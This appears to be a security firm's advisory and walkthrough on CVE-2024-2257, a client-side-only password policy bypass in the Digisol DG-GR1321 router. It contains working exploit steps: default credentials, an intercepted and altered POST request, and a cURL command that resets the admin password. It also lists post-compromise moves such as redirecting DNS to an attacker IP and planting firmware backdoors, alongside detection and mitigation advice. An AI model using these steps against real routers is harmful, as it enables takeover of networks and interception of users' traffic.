DATE
March 27, 2026
The Digisol DG-GR1321 router, a widely deployed home and small office broadband device, carries a serious security flaw catalogued as CVE-2024-2257. This vulnerability allows an attacker to bypass the router's administrative password policy entirely, meaning weak, previously rejected, or otherwise non-compliant passwords can be set without triggering the device's built-in validation controls.
At its core, this is a client-side enforcement failure. The password complexity rules are validated in the browser rather than enforced on the server side. An attacker who intercepts and manipulates the HTTP request sent to the router's admin panel can strip out or alter validation parameters and push through a password that would otherwise be rejected. Once the admin password is set to something the attacker controls, full device compromise follows.
For home users and small businesses relying on the DG-GR1321 as their primary gateway, this means an attacker with local network access, or in some configurations remote access, can completely take over the router without any prior credentials.
If your organization relies on network devices like this without regular security assessments, consider reaching out to Redfox Cybersecurity's pentesting services to evaluate your exposure before an attacker does.
The Digisol DG-GR1321's admin interface enforces a password policy that typically requires a minimum character count, a mix of character types, or both. However, this enforcement exists only in the JavaScript running in the user's browser. The backend firmware accepts whatever password value is submitted in the POST request, without independently verifying that it meets the declared policy.
This is a textbook case of trusting user-controlled input. When a developer relies on the frontend to do the security work, any attacker who can manipulate HTTP traffic bypasses those controls entirely. Intercepting the request with a proxy tool, modifying the password field, and forwarding it to the device is all it takes.
The vulnerability affects the Digisol DG-GR1321 router running firmware version H30R1V2.0.0B01. Users running this firmware without a patched update are fully exposed. As of the CVE disclosure, exploitation requires no authentication bypass on top of this, meaning if an attacker already has access to the admin interface (default credentials, credential reuse, or prior session hijack), they can immediately weaponize this flaw to lock out legitimate users or embed persistent access.
This walkthrough is intended for security researchers and penetration testers operating on devices they own or have explicit written permission to test. Unauthorized testing is illegal.
To replicate this vulnerability in a controlled lab:
Open a browser and navigate to the router's admin panel:
http://192.168.1.1
Log in with the default or currently set credentials. The default for many Digisol units is:
Username: admin
Password: admin
Once authenticated, navigate to the password change section under the administration or management settings tab.
Open Burp Suite and ensure the Proxy tab is active with interception turned on. Set your browser to route HTTP traffic through Burp's default listener:
Proxy Host: 127.0.0.1
Proxy Port: 8080
In Firefox, go to Settings, search for "proxy," and configure the manual proxy settings to match the above.
In the router's admin panel, attempt to change the password to a deliberately weak value, such as:
123
The browser-side JavaScript will likely reject this immediately and display an error like "Password does not meet complexity requirements." This rejection never reaches the server. The request is blocked before it is sent.
To bypass it, you need to either disable JavaScript on the page or intercept a valid-looking submission and modify it mid-flight. The cleaner approach is the latter.
Enter a password that passes the frontend validation, such as:
Admin@1234
Submit the form. Burp Suite will catch the outbound POST request before it reaches the router.
In Burp Suite's Intercept tab, you will see the raw POST request. It will look something like this:
POST /goform/SetSysAdminCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
oldpasswd=admin&newpasswd=Admin%401234&confirmpasswd=Admin%401234
Change the newpasswd and confirmpasswd values to your target weak password:
POST /goform/SetSysAdminCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
oldpasswd=admin&newpasswd=123&confirmpasswd=123
Click "Forward" in Burp Suite to send the modified request to the router.
Log out of the admin panel and attempt to log back in using the weak password you set:
Username: admin
Password: 123
If the login succeeds, the password policy bypass is confirmed. The router accepted the non-compliant password without any server-side rejection.
For those who prefer command-line testing, the same bypass can be achieved using cURL directly, skipping the browser entirely and bypassing any JavaScript validation:
curl -X POST http://192.168.1.1/goform/SetSysAdminCfg \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "oldpasswd=admin&newpasswd=123&confirmpasswd=123" \ --cookie "SESSION_ID=<your_session_cookie>"
Replace SESSION_ID with a valid session token obtained after initial authentication. This approach is particularly useful in automated attack chains or post-exploitation scripting.
If you want your network infrastructure assessed for vulnerabilities like this before they are exploited, Redfox Cybersecurity offers professional pentesting services tailored to routers, firewalls, and embedded network devices.
Once the attacker sets a password they control, the legitimate administrator loses access. On a router with no easy factory reset procedure or one where the reset button has been physically obscured or disabled, recovery becomes time-consuming and disruptive.
With admin access to the router, an attacker can:
Modify DNS settings to redirect traffic to attacker-controlled servers:
Primary DNS: <attacker_ip>
Secondary DNS: 8.8.8.8
Enable port forwarding rules to expose internal devices to the internet:
External Port: 8080
Internal IP: 192.168.1.100
Internal Port: 80
Protocol: TCP
Disable router logging to eliminate traces of activity. Enable remote management if it was previously disabled, creating a persistent entry point. Extract connected device information to map the internal network for further attacks.
From a compromised router, an attacker can perform ARP spoofing, DNS hijacking, and SSL stripping attacks against every device on the network. Users on the same network will connect to attacker-controlled DNS, enabling phishing, credential harvesting, and malware delivery at scale.
On some router models, admin access allows uploading custom or malicious firmware. If the DG-GR1321 supports firmware upload through the admin panel, an attacker can install a modified firmware image containing a persistent backdoor, surviving even a password reset from the legitimate administrator.
Router firmware rarely provides detailed audit logs, but there are signs to watch for. If you are locked out of your router's admin panel using credentials you have not changed, assume compromise. Check from another device on the network whether the admin panel is accessible and whether the login fails with previously valid credentials.
On monitored enterprise networks, the following behaviors should trigger investigation:
Unusual POST requests to router management endpoints, particularly to paths such as /goform/SetSysAdminCfg. Unexpected changes in DNS resolution for internal or external domains. New port forwarding rules visible in firewall logs. Unexplained increase in outbound traffic to unfamiliar IP addresses.
Using a tool like Wireshark, you can capture and filter admin panel traffic:
wireshark -i eth0 -f "host 192.168.1.1 and port 80"
Or with tcpdump for headless environments:
tcpdump -i eth0 host 192.168.1.1 and port 80 -w router_traffic.pcap
Reviewing these captures can reveal unauthorized modification attempts or confirm that the bypass was used against your device.
If you are running the Digisol DG-GR1321 on the affected firmware, take the following steps immediately.
Check for a firmware update from the manufacturer. Even if no patch has been officially released at the time of reading, check the Digisol support portal periodically as patches may follow responsible disclosure timelines.
Restrict admin panel access to localhost only. If your router allows you to disable remote management and restrict admin access to wired connections only, enable those restrictions.
Change the default credentials if you have not already done so, and use a strong passphrase. While this does not fix the bypass vulnerability, it raises the barrier for attackers who need valid current credentials to reach the password change function.
Enable any available login attempt throttling or lockout features.
Place critical devices on a separate VLAN isolated from the router's management interface. If your router does not support VLANs, consider replacing it with a device that does. Proper segmentation limits the blast radius if the router is compromised.
Vulnerabilities like CVE-2024-2257 are the kind of flaw that a standard vulnerability scan will not always catch. It requires a tester who understands how to probe client-side validation assumptions and test whether the server independently enforces its own rules. That requires hands-on, expert-led penetration testing.
Redfox Cybersecurity's pentesting services include network device assessments, router and firewall testing, and full internal network penetration tests that cover exactly this category of vulnerability. Their team tests not just for known CVEs but for logic flaws, trust mismatches, and architectural weaknesses that automated tools miss.
CVE-2024-2257 is not unique to Digisol. The underlying mistake, enforcing security policy only in the browser while trusting all server-side input, appears repeatedly across consumer-grade and even enterprise networking equipment. When manufacturers prioritize time-to-market over secure development practices, these are the results.
Password policy bypass vulnerabilities are particularly damaging because they are invisible to end users. A user following all best practices, attempting to set a strong password, will not know that the device silently accepted a weaker one when an attacker submitted a modified request. The attack leaves no obvious trace and can be executed in seconds by anyone with intermediate HTTP knowledge.
This is precisely why network pentesting by specialists is not optional for organizations with any real security requirement. Consumer routers deployed in remote office or work-from-home environments are part of your attack surface. They connect to your VPN, your cloud resources, your internal infrastructure. A compromised home router is a foothold into enterprise environments.
To have your network devices evaluated by specialists who understand embedded system vulnerabilities and modern attack techniques, visit Redfox Cybersecurity's services page.
CVE-2024-2257 was assigned following responsible disclosure of the vulnerability. The CVE entry documents the affected product, firmware version, and the nature of the flaw for the benefit of defenders, asset owners, and patch developers. Security researchers who discover and disclose vulnerabilities responsibly play a critical role in keeping the broader ecosystem safer.
Organizations that want to be on the right side of this process, finding and fixing flaws before they appear in CVE databases, need a proactive security posture. That means regular assessments, not reactive patching.
CVE-2024-2257 is a clear illustration of what happens when device manufacturers delegate security decisions to the browser. The Digisol DG-GR1321 password policy bypass is trivially exploitable by anyone with basic HTTP interception skills, and its consequences range from administrator lockout to full network compromise.
The vulnerability is a reminder that network security does not begin and end with firewalls and antivirus software. Every device on your network, including the router handling all your traffic, is a potential entry point. Understanding how these flaws work, and testing for them proactively, is the only reliable way to stay ahead.
If you are responsible for securing a network that includes consumer-grade or SMB-class routers, do not wait for a CVE to tell you what is broken. Work with Redfox Cybersecurity to identify and remediate vulnerabilities in your network infrastructure before an attacker exploits them for you.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
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